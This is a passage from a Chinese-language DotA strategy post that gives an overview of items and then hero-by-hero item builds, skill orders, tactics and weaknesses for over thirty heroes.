但是偏偏是hod的后置 如果hod流后边没用 就可以转撒旦之邪力\n值得一说的是 6.42 撒但大幅度加强 启动增加30攻击力 15%吸血 本身还有25吸血 相当于小狗的被动技能 撒旦就要出头了\n蝴蝶 很多小白说蝴蝶渣 蝴蝶是很强力的武器 25的闪避不是开玩笑的 适合无闪避技能的敏捷英雄出\n电锤/雷神之锤 相当强力的武器适合攻击速度快同时提高攻击速度 巨魔 电魂 火枪 小狗出也不错\n散失/分身 谁用都好用几乎 分身系必出东西 \n双刀 合成过程平滑 双刀最强力的属性就是10%的移动速度 适合追求速度流的人出 黑暗游侠 电魂 隐形刺客 \n黑皇仗 dps出- -对方法师多出也不错 最适合的育母蜘蛛\n暗灭 打前期的dps用 本身会减防的人用也不错 \n狂战斧 本身会分裂攻击和范围攻击的 会爆的\n隐刀 大决是持续的 需要保命的\n40书 有限制技能的 需要反隐的时候\n大根 -多一个杀人技能 适合前期杀人\n林肯球 对面有兰胖子 doom 之类的会强力指定技能的时候 同时给自己增加消耗能力适合属性流人用\n先锋 加强前期战斗力 智力敏捷想变抗可以用 \n吸血鬼的饰品 性能不错 关键占一个格子 我要用的时候经常掏钱给盟友买 我自己从来不会出 \n奥术 前期技能刷钱用 法师都可以考虑\n群补 辅助用 同时让自己变抗 魔没地方用的英雄经常出 \n疯狂面具 前期增加很多战力 前期要单杀的人用 \n飞鞋 谁出都不错\n假腿 增加战力用 前期英雄一般用 比如暗夜魔王\n晨之酒馆\n\n1 复仇之魂\nVS 是一个cw 中经常出现的英雄 由于不需要装备和等级 vs一般作为打杂用英雄 cw中若干护腕 回城 净化 吃树 鞋就足矣 -0- \npub 战打法很多 \n1 鞋 若干护腕 梅肯 坚韧 非常辅助的打法 速攻经常用到\n2 鞋 若干护腕 隐刀 隐刀对于vs很有用 野外可以换完隐身保命 而隐身后换令人防不胜防 3800的成本很高 一般只在pub中出现\n3 一些保命打法 例如bkb 或者分身斧 分身斧路线中可以利用散失追杀 强化追杀能力\n这些都是辅助打法 技能前期只加1技能和黄点可以保证魔的充分和一定血量\n4 辅dps路线 vs的光环在前期可以提供可观的输出 选择13技能 同时出暗灭或者mkb 可以作为辅dps存在 暗灭可以和vs的2技能帖加减防 不过2技能我从来没用过 非常的渣\n5 hod流 非常好用 光环可以给bb提供伤害加成\nvs不是一个后期英雄 打好前期是王道 不要想多出什么装备 \n多参与gank 后期只是一个换位的工具 而前期 换 锤子普攻+锤子+普攻 不管单杀贫血英雄还是配合杀都是很简单的 \n上手很简单的英雄\n弱点在于后期单挑无力 血少\n\n2 众神之王\nzeus是强大的暴力法师 即使在后期 由于静电场的存在伤害也是不容小觑的\n我的路线是 精气球 鞋 奥术 跳刀 镇魂 坚韧 空明 刷新 a仗 有机会出飞鞋就出\n如果选择大根双电也不错 技能 21232u2111u333+u\n如果压力很大可以 12212u2113u333\n需要stun可以出妖刀 \n不出a仗可以出群补保证一定血量\n由于使用物品可以刷出静电场多买点能使用的东西不错\n矮子保命是个问题 而跳刀+回城可以良好的解决问题 同时跳刀的追杀也相当有力\n\n上手很简单的英雄\n弱点在于无逃生能力 血少\n\n3 魅惑魔女\n小鹿在37版本被大大加强 前期非常好用 压制力很强 \n我的路线是 飞鞋 圆环2-3 虚无 旋风 先锋盾 可以转肉盾或者dps \n出心 或者mkb+妖刀+振奋 小鹿钱不会很多的\n我见过疯狂面具+bkb的速攻 有兴趣的不妨尝试\n技能路线要看对方 如果压制力很强像亚龙 1 3 1 2 1 3 1 3 3 2 2 2 耗血 如果没有压力用\n1 2 12 12 12 3 u u 333可以很容易的杀人 40%的减速是非常bt的 \n前期多发动gank 利用减速r&h杀人 同时2技能可以控制野外生物很长时间\n召唤流的打法也是相当的有力 同时可以控制很多野怪 第一技能升2可以1级mf或者招熊怪gank\n值得一提的是小鹿用电锤farm也不错\n上手难度一般\n弱点在于后期单挑无力\n\n\n4变体精灵 \n水人是我最喜欢的拆黑英雄之一 如果写篇他的详细攻略至少要1万余字 这里只能简单介绍了 人物来自万智牌\n1飞鞋 圆环2-3 极限 极限 精气 冰眼 不朽 圣剑 蝴蝶 最后一件选择雷神之锤或者大炮或者bkb \n2 飞鞋 2-3圆环 散失 双刀 分身 蝴蝶 大炮 分身系打法\n蝴蝶是非常适合水人的东西比心还要值 雷神之槌也很好用 由于水人经常被群殴 套上闪电盾可以弹得很happy\n技能我的路线是 1 3 1 + 1 + 1 3 3 u u 2222 3 ++++ 当然主要还是看对方 如果有剧毒或者屠夫这样的 3技能越高越好 水人一半的奥义都在三技能上 首选转换成高敏捷保证攻击力和攻击速度\n血到一半开始转化敏捷成力量既可以大大加长水人的战斗时间和生存能力 属性转换最后可以让水人有4000+血量 非常的imba 2技能开始又耗魔又打不了多少到后边属性高了一下就是5，600的伤害 1技能飞的时候可以躲技能的同时伤害可观刷钱保命都不错 大决可以保命，骗对方技能，单挑一些无限晕的英雄，在战场迅速移动 \n值得一提的是水人的速攻打法可以选择 4幽灵+双刀 +水晶剑或者电锤 同时技能选择 12 \n前期也是很强势的 水人刷钱速度很可观 经常可以全身神装\n水人的4个技能都非常棒 有三个可以保命 所以出圣剑很值 \n\n最近新研究出了高级分身打法 原理不解释了\n装备如下 飞鞋 散失 蝴蝶 分身 蝴蝶 蝴蝶 冰眼\n\n上手难度一般\n弱点在于怕抽魔 怕沉默\n\n5 水晶室女\ncm是我最常用的法师 \n路线 精气 鞋 跳刀 bkb 镇魂 旋风 妖刀 a仗 有机会出飞鞋就出\n由于我用冰女都是要求solo 所以等级提升很快\n而我的技能是 12121212u3u333 用第三技能 所以完全不买回魔的物品 如果你不是solo\n可能需要虚无宝石来保证gank的持续性 冰女的跳刀是很重要的物品有跳刀才能保证大决可以找到最好的时机最好的位置放出 出了虚无宝石可以直接做个风仗\n请在对方第一轮技能放后 或者己方控场出手时跳到最密集最混乱的地方开大\n很容易二杀三杀 冰女前期要求solo 多用神符抓人 到7级左右就不要再练级了 多去发动gank\n单杀可以冻普攻nova普攻 或者跳刀冻大决nova的顺序 用冰女要求有一定farm能力\n因为钱很不好打 \n值得一提的是隐刀冰女在对方没有面积stun的情况下是很好用的\n上手难度一般\n弱点在于血少 后期单挑无力\n\n6 流浪剑客\nsven是我最喜欢的力量英雄 ih经常用\n穷的话只需要假腿和双护腕就可以很强势。。\n我的路线 飞鞋+2-3圆环 疯狂面具 bkb 心 心 心即堆心流\n当然选择 不朽蝴蝶振奋大炮这些都会用的上 要看情况决定\n辉耀和狂战斧用来刷钱也是很不错的选择 不过我更加喜欢用流浪杀人\n一颗心可以给sven在大决情况下加很多攻 同时让sven更抗\n飞鞋+疯狂可以解决sven追不上人的问题 如果有另外的控场队友sven会很开心 \n疯狂面具+大决让sven进入爆走模式 如果有bkb请注意使用方式 先开bkb然后大决疯狂\n这样的sven会进入200%爆走模式 效果用了便知\n技能1和黄点互点有大加大 5-6个黄点后加分裂最后加光环\n上手很简单的英雄\n弱点在于前期怕抽魔 非常怕净化 medusa的净化是物理净化开了bkb都可以净化 所以对面有medusa就别用sven了 普通的散失净化可以靠开bkb避免\n\n7娜伽海妖\n剑圣的老婆- -\n路线 前期顺利就辉耀否则点金 然后飞鞋 2-3圆环 散失 分身 蝴蝶 心 蝴蝶蝴蝶 堆蝴蝶就好了\nnaka是纯分身系角色 强化本人能力没有意义 强化分身才是王道\n分身+蝴蝶+心 可以大大提升分身战斗力 不要被红字欺骗 分身不继承直接+攻击力的物品 近程分身\n只继承一个法球效果就是烧魔 所以mkb 大炮 圣剑对分身都没用 属性流是王道 有人喜欢双刀的话出也可以 反正我不喜欢双刀naka 技能 网是先满的 然后就4级分身（分身可以用来躲技能和驱散异常状态） 4级爆 \n有大加大 不过不用太着急升2和3大 太耗魔\n网可以网魔免的 分身和爆不解释 大决用处很多 打乱对方阵型/给己方争取时间/给咏唱技能机会/\n集中攻击对方开bkb的人/保命救人 \n等等 用处非常多自己研究吧 用naka要求有一定的farm能力 同时这个英雄需要长时间的farm\n上手一般的英雄\n弱点在于血少 分身怕AOE 需要长时间farm \n\n8旱地神牛\n非常男人的英雄\n路线 虚无 38后请选择奥术指环 飞鞋 跳刀 刷新 妖刀 不朽 心\n牛的跳刀很重要 和回音击的威力挂钩 一个良好的位置的回音击是非常可怕的 技能 1 3 1 2 1 u 1 3 3 3 u \n之后2和黄点可以按自己喜好加 很多菜鸟用牛不重视3技能的威力 其实余震的作用是很大的 利用好余震很重要\n1技能封路的能力就是靠多练习以及你的意识决定 多用用就好了 有了钱牛是很强的 关键就是打钱能力不行\n需要一定farm能力 我经常见到有钱的牛 即使在25级单挑时仍很强势 stun非常的多 是个很看技术的英雄\n注意回音击己方的小兵和地上的尸体都能反弹的 \n值得一提的是狂战斧牛非常的潇洒..-0-\n上手很难的英雄\n弱点在于打钱能力低下 \n\n9隐形刺客\nsa 路人战常见 在s18出场率高达70%以上 特别有xiaocikexixi这样盘盘点选的。。\n新手爱用的英雄 打钱方便\n我的路线 幽灵挂件 2-3 飞鞋 双刀 散失 蝴蝶 分身 想想用雷神之槌的效果应该也很好 但是我偏爱分身斧 \n其他路线 三刀流后蝴蝶 也是不错的 也可以考虑先锋盾 \n还有就是冰眼路线了 冰眼路线就别用其他有法球的了 几个幽灵冰眼蝴蝶\n经常看到隐刺可以杀很多人 最后还是输掉 这时候往往隐刺还在超神-0- 因为隐刺不是一个能扭转战局的英雄 \n正面打非常无力 我有一次杀34人 最后仍然输掉了，， 他是一名刺客不过也只是一名刺客 \n对方如果插眼无所 带个宝石就行 就怕有人带宝石. 技能 1 2 2 3 2 u 2 3 3 3 u 1 1 1\n散失+雾的效果真的不错^^\n背刺可以用s键取消攻击刷出来\n上手很简单的英雄 \n弱点在于正面对打无力 血少 对方带宝石\n\n10秀豆魔导师\nlina 是我很爱用的法师 身材很棒- - 人物来自动画 秀豆魔导师 \n我的路线 法系 精气 虚无 38后选择奥术 跳刀 镇魂 a仗 妖刀 刷新 有机会出飞鞋就出 如果有爱好可以使用大根 \n双闪电也挺不错的~\n技能 2 1 1 2 1 u 1 2 2+ u ++++\n战系 精气 虚无38后选择奥术 极限 极限 冰眼 飞鞋 妖刀 大炮 雷神之槌 技能 2 1 1 2 1 u 1 2 2 3 u 333\n比较另类的就是 遗物 辉耀 飞鞋 然后刷冰眼和其他武器 或者 点金 电锤 飞鞋 雷神 然后刷其他武器 技能是 \n2 3 3 + 3 u 3 +++u要求有很强的补刀能力 \n技能用法很简单 2 1 u 一个kill 有了跳刀之后偷袭变得很简单\n上手很简单的英雄 主要注意光之箭的使用\n弱点在于血少 其他无明显弱点\n\n11熊德\n路线 假腿辉耀或者辉耀假腿 当然都是给熊宝宝。。然后振奋 给自己不朽心 再有钱mkb雷神都可以考虑\n有了狂猛和假腿宝宝可以追着大部分英雄打缠一个死一个 如果想让宝宝更抗给宝宝出先锋盾是个不错的选择\n推塔很棒的英雄技能 1 3 1 3 1 u 1 3 3 2 u 2 2 2 \n要求使用者有一定的farm能力 \n熊宝宝很怕吹风和英雄的stun技能 - -想起当年有一次wind用chen招巨魔牧师帮tree驱散吹风。。\n有一种很老的打法就是前期不升熊 以人为主攻的打法 高级狂猛+2-3级3技能 然后黄点 利用前期狂猛的高移动和攻击速度压制\n然后双刀 利用高速度杀人 最近已经很少见到了\n上手很简单 \n弱点在于需要时间farm 非常怕gank 强势时间就在于中期到中后期\n\n12剑圣\n非常帅气的英雄 新手很可能会选得英雄 我用的很多\n要解释的是剑圣在dota中并不强 不是一个能扭转战局的英雄 而且在团战中太容易死了\n路线 飞鞋 2-3圆环 辉耀 先锋 冰眼 蝴蝶 技能 1 + 1 + 1 u 1 + + 3 u 3 3 3 2 u 2 2 2\n或者出散失走分身 出散失就要出心\n用剑圣杀人时一定要注意自己的血..因为太容易死了..剑刃风暴时如果你速度和对方一样请不要右键点人 否则肯定跟丢 因为在转中夹杂普攻 转人是技巧 多用几次就能学会 前期杀人还是很简单的\n其他技能没有什么可说的用法都很简单 冰眼出了后可以一直粘着打 \n我见过其他路线 有飞鞋双刀 速度流打法 \n狂战+心的打法 狂战+暴效果非常好\n还有就是暗灭刀 可以加强大决伤害\n大决中如果攻击速度够快还会加上很多普通攻击 \n上手难度一般\n弱点在于血少 需要长时间farm \n\n无名酒馆\n13月之骑士\n代表月亮 消灭你们!\nluna是新手很可能用的英雄 前期很强势 有河道杀手之称 不过血非常少 多出些护腕吧\n我的路线 1 辉耀 飞鞋 不朽 圣剑 圣剑 心或者bkb 2 辉耀 飞鞋 跳刀 刷新 a仗 \n分别是战系和法系 因为月女不能使用大部分法球 圣剑是最好的选择 月女几把圣剑还是很容易做到的\n技能 1 + 1 + 1 u 1 + + + u 2222 u\n有了辉耀和弹射刷钱的速度非常bt- -\na帐刷新可是一下20多道月光出去 一个人最多会中10道- -。。想想都激情 肯定死成灰了\n6.43 战系堆蝴蝶就行了 飞鞋蝴蝶心蝴蝶蝴蝶蝴蝶\n上手很简单\n弱点在于血非常少 前期攻击力太低不好补刀\n\n14矮人火枪手\n著名hf新手英雄 有10个火枪9个菜之说\n火枪的装备路线特别容易引起争议.\n火枪需要撑血保命 加魔保证刷钱和狙 加攻和攻击速度\n在637中 我依然用传统的冰眼路线 极限 飞鞋 极限 精气 冰眼 有冰眼后刷钱变得飞快 然后不朽圣剑 bkb 蝴蝶\n但是这个打法有很大问题就是如果前期被压会非常难成长 就算出了冰眼也快输了 这个打法就看你冰眼的速度\n我最快有过31分钟冰眼飞鞋 这时候非常的imba 可是被压制有50分钟才飞鞋冰眼 这时候几乎已经快输了 而且会差一点 刷不出剑 如果你对自己没有信心还是用双刀的保守路线 然后不朽圣剑 不爱用圣剑的出大炮蝴蝶后再刷冰眼\n638新道具的出现给火枪一种全新的打法 我是看mif的录像学到的 我自己改了下如下 点金 奥术 飞鞋 电锤 半兽人之斧 \n雷神 不朽 圣剑 卖点金 bkb 卖奥术 冰眼 用的非常舒服 雷神给火枪用非常的imba \n技能 3 2 3 2 3 u 3 2 2 1 u 111 总有人要加黄点 其实火枪这种逃生能力为0的 买眼是王道 1技能非常的好用 比黄点要好得多\n或者用 3 2 3 1 3 u 3 1 1 1u 这种的暴头一级 4散弹主要为了防前期速攻 刷钱是非常快滴\n火枪主要还是要靠队友的帮助 一个人是不行的\n介绍下其他打法 眩晕流 疯狂面具 飞鞋 晕锤 振奋 晕锤 - -很简单就是晕来晕去 \n魔枪由于ult的cd加长用的人很少了\n上手一般 新手慎用 \n弱点在于血少 跑得慢 没有逃命手段 需要长时间farm \n\n15巨魔战将\ntroll 单挑很强- - 37的troll我肯定用hod流 光环还可以加强bb的威力\nhod 辉耀 飞鞋 冰眼 大炮 撒旦 晕锤 不过我没刷过这么多东西 -0- 大炮后就很imba了 人都退光了\n38的可以用飞鞋 2幽灵 电锤 雷神 然后刷冰眼 大炮 晕锤 其实用散失也不错 不过我还是喜欢冰眼 \n同时用跳刀也很邪恶- -\n技能要看对方 如果是法球压制型选手 2技能闪光粉盲死他\n2 1 2 留点 2 u 2 留点 留点 留点 u 1 1 留点为了前期不加光环杀人的时候一下加满 否则会使前期压线麻烦\n如果对方是普通人就不加2了 1技能加到3 3技能留点加 有大加大 然后点黄点\n2技能后期加满 在单挑中占据绝对优势\n1技能现在可以加护甲 移动速度 降低基础攻击间隔 增加攻击力 逃跑的时候一定要开。。。\n我总看见疯狂+双晕锤的打法- - 真是怕自己死得不够快\n上手一般 新手慎用\n弱点在于 前期无力 需要长时间farm \n16暗影萨满\n有近卫第一控场之称\nsm 精气 飞鞋 跳刀 虚无或者奥术 镇魂 a仗 刷新 妖刀\n先妖刀也是不错的选择 但是我更喜欢一下20多根蛇棍出去的效果 很多人喜欢吹风围- - 我觉得巨没必要 有跳刀想杀人实在很简单 用吹风围人太浪费 变动物再围成功率很高的\n技能 3 1 1 3 1 u 3 1 3 2 u 2 2 2 技能是各人习惯问题 杀人方法就是跳刀 变 蛇棍 网 电 偷袭成功率非常高 配合时一个网就是一个kill\n可以用hod流不过我没试过\n上手简单 \n弱点血少 跑得太慢\n\n17钢背兽\n41版本非常bug\n我的路线 先锋 虚无 辉耀 心 不朽 有机会出飞鞋就出\n裸出3800很不爽 不过前期如果发展顺利也可以 \n技能 2 3 3 2 2 u 2 3 3 或者先3满也可以 \n3技能非常的imba任何伤害都降低40%~\n追杀刚背是件很痛苦的事 尤其是心盾先锋三件齐后。。 经常看见从自己家追到对面家也追不死的刚背 \n上手一般 \n弱点 无\n\n18熊猫酒仙\n我非常不爱用的英雄 特别是一次我5级打出正补2反补2的事件出现过后 我就发现我完全不会补熊猫的刀- -\n装备辉耀飞鞋跳刀心不朽 wind偏爱速度流熊猫喜欢出双刀 - -我感觉还不如出疯狂呢\n技能 1 黄点互加 4个-5个后加醉拳 wind号称前期加一级醉酒很好用 我没试过\n熊猫分身后 会出现在土熊猫出 所以熊猫分身后 一直跟着土熊猫即可\n杀人方法就是踩地 普攻 分身 砸晕 嘲讽 吹 土熊猫跟随变回再踩地 再普攻 需要一定的apm\n上手简单 \n弱点 怕抽魔 \n\n19半人马酋长 \n非常空虚的英雄- -\n跳刀 1-2无用挂件 先锋 心 不朽 有机会出飞鞋就出之后多出心就好\n技能 12互点有大加大 如果有强力近战就把三技能点满同时可以出刃甲贴加反弹\n前期多去配合杀人 半人马二连杀一个人可能要差一点 多配合才素王道\n可以出疯狂帮助杀人\n上手简单\n弱点 后期有些疲软\n\n20赏金猎人\n我一般玩魔法路线 大根 +1-2 无用挂件 +先锋盾+虚无 然后出雷神之槌 。如果还没结束就随便拉 什么贵买什么。。\n有很多人用双刀 mkb 蝴蝶 的打法 其实也不错 只不过我不喜欢\n本身会隐出圣剑还是挺安全的 急了刷圣剑 这个英雄钱还是挺多的\n技能 3 1 1 3 1 u 1 3 3 + u + + + + u 我走魔法路线后期才点满爆击 如果是双刀的物理路线就别点黄点\n直接加爆好了\n杀有强力技能的可以标记 疾风步 等cd 一刀 手里剑 立刻疾风步 等手里剑cd 一刀 手里剑 大根 \n这样整个过程基本都是隐身 现身时间顶多0.几秒还是很安全的\n杀没有反抗能力的标记上直接追把。。\n注意疾风步现身的时候一定要标记 这样可以安全些 否则就等疾风步的cd好了再现身 有不对立刻隐形\n值得一提的是手里剑二级就有200伤害 非常少见\n上手一般\n弱点血少 \n\n21龙骑士 \n现在的龙骑真是imba。。 三技能的回归让龙骑找回了以前的威力 \n路人战我一般都裸辉耀 \n辉耀 飞鞋 妖刀 心 不朽 我一般刷这么多就结束了\n妖刀龙骑非常的好用 俩个限制技能+3级冰龙喷吐可以玩死人\n团p就别这么玩了 先锋心不朽直接当肉盾\n技能 2 1 3 1 1 u 1 3 3 3 u 222\n如果对方压制力很强可以使用 2 3 3 1 3 u 3 1 1 1u 的方法\n还有种 2 3 3 2 3 u 3 2 21u 111的路线 看你喜欢了\n弱点 需要一定时间farm\n\n22 敌法师\nanti-mage\n我很喜欢的敏捷英雄\n我的路线是 先锋 辉耀 飞鞋 心 不朽 圣剑 蝴蝶 或者 先锋 辉耀 心 晕锤 蝴蝶 大炮\n基础攻击间隔很低 1.45所以攻击速度天生比一般人快 \n如果打不出3800 就点金飞鞋 再先锋 辉耀或者心也可以\n再介绍其他路线 现在hf上速攻都选择先锋 1-2护腕和晕锤路线 - -个人感觉一般 \n前期就算能杀几个 后期也得吐出去\n还有就是点金 群补 坚韧 飞鞋 linken路线 是以前版本的速攻消耗打法 很好用\n如果已方无肉盾可以选择 先锋 心 不朽 先锋的肉盾路线 \n技能2 1 1 2 1 u 1 2 2 3u 333\n如果你速不朽的话 就不要点3 出了不朽再点 可以获得不朽和技能的叠加拥有70%抗魔\n我用很多敏捷英雄有了辉耀飞鞋除非出剑否则不会出不朽 死了直接买出 天生高防不需要不朽的10防\n不朽不能扔后白占一个格子实在是浪费 \n还有个另类路线是不用1技能的 我觉得不好所以就不推荐了\n上手一般\n弱点就是血太少 前期魔法很缺 被抽魔很容易没有闪烁逃跑\n\n23黑暗游侠\n暗弓 小黑 黑妞 冰弓 游侠的外号多的出奇 - -\n游侠我常看见人用 实际上不适合新手用 因为太容易死了\n但是我很喜欢这个英雄 因为很帅- -\n我的路线 2 幽灵 点金 飞鞋 双刀 大炮 蝴蝶 之后随意 不过估计也就到这么多了 \n游侠刷钱不慢 想出剑也可以 最好一定带上bkb 甚至出心 否则不朽消耗会非常厉害\n游侠不是纯dps 更多的时候作为辅助dps \n技能 1 2 1 3 1 3 1 3 3 u u 2 2 2\n或者 1 2 1 + 1 u 1 + + + u\n+黄点是保证血量\n但是我个人觉得游侠的光环后期是没用 但是前期其实能提供一定火力 前期加出比较值\n这个光环增加基础攻击力 所以只要增加敏捷就可以再增加攻击力（纯加攻击力的武器不能享受光环）\n双刀是非常好的选择 同时游侠很需要速度逃命或者追击 雷神我没试过 mkb在已经有双刀的情况下不如\n大炮增加的火力多 \n我玩过一种 飞鞋 三刀 疯狂面具 隐刀的速攻打法 沉默上 开疯狂可以秒杀法师 同时隐刀偷袭或者逃命 而且三刀流移动速度特别快\n有兴趣的可以试试看 注意用疯狂面具的时候 请把冰箭自动打开 然后再手点才能出冰箭\n游侠追击请使用r&h 效果很好\n以前有打法狂加攻击速度的 追击只用右键点- - 很久没见到了\n以前有hod流打法 不过我没用过 感觉很不好用应该\n上手一般 新手慎用 \n弱点 前期没有保命 需要一定时间的farm \n\n24 全能骑士\n战系路线很适合在路人用 法系比较适合ih cw\n战系 辉耀 飞鞋 冰眼 之后随意 不过恐怕也刷不出什么了 全能能刷出这三件就很强了 后面出心或者大炮\n法系 吹风 38后选择先奥术指环 再吹风 然后妖刀 刷新 心 不朽\n技能 战系用 1 2 1 3 1 u 1 3 3 3 u 2 2 2 法系用 1 2 1 2 1 u 1 2 2 3 u 333\n光环对近战影响重大 一个光环就能追死人 冰眼+退化光环可以粘死人 如果再加散失就容易被人骂了\n战系加上魔免 对面要是没有破解方法就很没辙 我用全能经常追到人家家里 开大进泉水杀人 \n全能多注意2技能cd cd和持续时间一样 自己单杀请保证随时有魔免 这样回城也很安全 克星就是medusa和\n散失 小naka的网也非常讨厌 法系的我就不说了用起来就是一牧师 同时死灵书全能也是很棒的 \n死灵书+hod -0-非常的有趣\n上手难度一般 \n弱点就是 怕净化 战系需要一定时间farm\n\n日出酒馆\n\n25 沉默术士 \n我用的最多的英雄 32团战的王者 几乎场场都有 \n作为一名dps 却不需要太多的钱就可以达到非常可怕的攻击力 同时技能又是aoe的克星\n同时阻止周围人连续施法 沉默术士实在很强悍 妖刀是最适合沉默的武器\n我的路线 护腕 1-2 点金 飞鞋 群补 吹风 妖刀 卖点金 振奋 卖群补 心 如果要翻盘或者主dps 可以选择刷剑 出bkb\n团战中在出完吹风后请出不朽 然后组织push\n即使沉默被人压制的惨不忍睹 假腿 吹风 俩无用 都能提供一定输出 \n路人战如果 点金 群补 妖刀 振奋基本装备齐了 可以堆属性出冰眼\n理论上 一飞鞋 5冰眼的沉默是相当imba的就是价格在3万以上 \n出一个冰眼后杀几个人 智慧刃可以打出100 非常的好看>.<\n刷新沉默我没用过 但是想想感觉非常可怕-0- 10秒的沉默。。\n死灵书和大根也不错 看你爱好了 \n用沉默术士我最多的一句话就是 mid solo plz ，thx\n技能 2 + 2 + 2 u 2 + 3 + u 3 3 3 + u\n如果中路solo面对是亚龙 可以选择1技能对压 效果很好\n3技能和大决是很多英雄的噩梦 尤其是沙王 冰女之类的 一个有经验的沉默术士眼睛到位可以让沙王根本放不出地震 \n我用冰女跳进去后要先把沉默吹起来才敢放极寒\n可是如果是沙王冰女和沉默一方 全领域沉默+地震或者+极寒领域的配合实在很imba \n遇到危险全领域沉默+回城\n上手难度一般 \n弱点就是血少的可怜 前期太怕gank 沉默术士血成长实在太低 自己玩一定要插好眼睛\n\n\n26树精卫士\n3.4的力量成长。。。真的很抗\n路线基本上都是裸辉耀 前期补刀非常简单 我最快一次俩个人一路17分钟就3800了\n辉耀 飞鞋 不朽 刷新 心 有时候需要跳刀保证大决位置\n技能 第一级眼睛然后主要护甲和隐身 隐身2级-3级就足够了\n前期很难被压住\n如果是团战需要4级眼睛 路人1级眼睛可以先用一段 如果最后要刷新的话请先不要升三级大决 否则魔会不够 这时候可以出死灵书\n隐身可以救人 偷袭 杀人放火什么都能干\n注意缠绕后不能攻击但是可以用技能 \n可以用hod流\n其他考虑的疯狂面具 散失 死灵书 分身\n上手简单\n弱点是怕抽魔\n\n27谜团 \n我常用的英雄 强力控场 谜团有3.4的智力成长和2.1的力量成长还是不错的\n路线是1护腕 虚无 跳刀 38就不用虚无了 出奥术吧 跳刀非常重要 能保证黑洞的位置 尽量早出\n之后可以飞鞋 bkb 刷新 妖刀\n谜团刷钱用小水人非常快\n技能 1 2 1 3 1 u 1 然后先小水人再凋零\n杀人跳刀 凋零黑洞不死 补一个晕 前期小水人+晕+凋零 就能杀人 小水人攻击力很高 好好利用\n跳刀+凋零+黑洞需要一定练习 可以考虑出死灵书\n上手难度一般\n弱点是血比较少\n\n28光之守卫\n团p虽然被淘汰了 但是光守打钱速度依然imba 玩大富翁很合适\n我的路线是飞鞋辉耀冰眼大炮蝴蝶妖刀- -因为钱很多所以成型很快 虐菜的时候还是能超神的ih的时候就别用这个了\n走辅助路线就是出群补吹风40书- - 另外光法很有钱 可以组建乌鸦攻击群\n光法前期不要着急推塔 团队开始push再开始飞鞋推塔 不然影响队友打钱\n1 3 3 1 3 1 3 1 2 2 2 2 u u + \n13技能不用说 2技能是一个非常imba的技能 是的 非常imba 我经常为了防这一个技能就出一个linken\n光法最好的保命手段也是一个可怕的限制技能 如果不用魔意味着这是一个长时间沉默用魔就损失80%魔法\n敌法 女王 骷髅王 熊猫 死灵法师等等。。。看见这个技能都会OTZ 大招是刷钱推小兵绝技 光法可以飞鞋牵制住对方行动\n阻止对方push 玩光法需要一定的意识和大局观\n上手一般 新手慎用 很容易死成神\n弱点就是血少 前期没有法力流失时没有保命手段 \n\n29 熊战士\n我常用的英雄 如果没有MT（main tank）就堆心流 跳刀 鞋 护腕0-2 飞鞋 心 心 心\n如果走dps路线可以先锋 辉耀 飞鞋 跳刀 不朽 圣剑 心\n在没有跳刀的时候多看神符有助你杀人\n技能 1 3 2 2 3 u 3 3 2 2 u 111 3技能是非常imba的 不要用其他法球而不升3 实在得不偿失\n开好大决和2技能 跳刀过去梆梆梆梆梆5下贫血的就肯定死了 没死的踩地补一二下\n后期 开好2技能等cd 然后开大 跳刀 梆梆梆梆梆 踩地 2技能cd好 开2技能 再梆梆梆梆梆\n就是传说中的乱舞10连 熊战士2心后4000左右血开大攻击力相当于带圣剑 \n有些另类玩法出大炮的- -虽然技能上写明了一切重击爆机会打断怒意连击\n也有人说只是出爆的那一下停止 之后还能连上 我没证实这种说法 有兴趣自己试试看吧\n另外熊战士是射程100的远程英雄 因为3技能是根据对占中炎魔的灰烬改的 只能远程英雄用\n所以分裂攻击是不能用的\n锤啪啪熊 最近测试通过 技能 1 2 1 2 1 u 1 2 2 不用加3\n魔多 持续强 缺点需要farm出电锤才有战斗力\n\n上手难度一般 新手慎用\n弱点 打钱能力低下\n\n30食人魔法师 \n38版先出奥术压制力很强 37版本之前还是老老实实的裸A 当然出个点金也行 看你爱好\n奥术 神秘法仗 镇魂 A仗 飞鞋 吹风 妖刀 不朽\n这个英雄就是看你能不能出A仗 所谓一仗在手 天下我有\n技能先加12 有大点大 然后加3\n这个英雄主要就是看人品 如果出现了当当当当当那就是100块钱。。我个人感觉\n37的概率出了A仗后我感觉明显没有32出了A仗后高 32里我经常连爆二三次\n但是没出A仗的时候明显比32高 我最离谱的时候没出A仗连爆了5次\n上手很简单 \n弱点 打钱能力低下\n\n31修补匠\n38后选择飞鞋奥术 37就只能飞鞋吹风了 修补不能刷的物品有支配头盔 刷新球 40书和点金手 \n用修补主要看想象力 后期只要有魔 妖刀 大根 跳刀 无限动物 闪电 跳 分身可以刷钱 林肯可以躲技能\n还有黑皇可以无限魔免 同时说下 修补魔免变成坦克的样子 非常好玩 还有 隐刀狂热面具撒旦之邪力群补等等\n想象力想象力 一切都看你的想象力了\n比较朴素的就是 妖刀+大根 激光导弹+刷新+妖刀 大根激光导弹+刷新 妖刀大根激光导弹 还能来回跳刀 飞鞋-0- lol\n技能12先满点1级大 然后3技能 最后再加23级大决\n1技能无视魔防 造成320点实际伤害 \n了前期俩技能满多去发动gank 前俩个技能还是挺猛地\n三技能背向使用效果更好~\n后期非常需要操作\n上手一般 想玩好就非常难了\n弱点 前期血少 \n\n32幻影长毛手\n先锋 辉耀 飞鞋 散失 分身 卖先锋 冰眼 蝴蝶 大炮 - -很不错的路线 如果打不出3800 选择点金 飞鞋 先锋 散失 分身 也是不错\n很多人用分裂 幻影是不能打出分裂攻击的 - - 幻影打到后期出装备还是很快的\n技能2 1 1 2 1 2 1 2 3 3 3 3 u u + u\n3技能可以用s键取消攻击刷出幻影 幻影也可以用s键取消攻击再刷出幻影- -\n上手一般\n弱点 前期血少 需要长时间farm 怕AOE\n\n33先知\n主攻打法 鞋 1-2护腕或者先锋 暗灭刀 假腿 不朽 圣剑 妖刀 之后振奋之类的随意了\n辅助流 1-2护腕 吹风 假腿 梅肯 妖刀 \n也有出A仗的提高挣钱能力\n直接出剑盾也可以就是真空时期长 适合虐菜 \n技能 2 1 1 2 1 u 1 2 2 + u +++\n第一级如果升飞请直接飞出去探路 把敌人家里的图都开开 不然以后没法飞 追击不方便 \n第一级如果要抢一血就升围人\n飞因为现在有了标记 请往对方看不到的阴影处飞 \n现在吃树太多 围人不好用了 二技能=飞鞋 大招=点金 -0-\n控制大招打人需要视野 如果你在野地被老爷爷大决打中说明你被看到 请找眼睛\n早期多利用飞偷袭gank 出暗灭就是为了前期强势 只要没有开始push 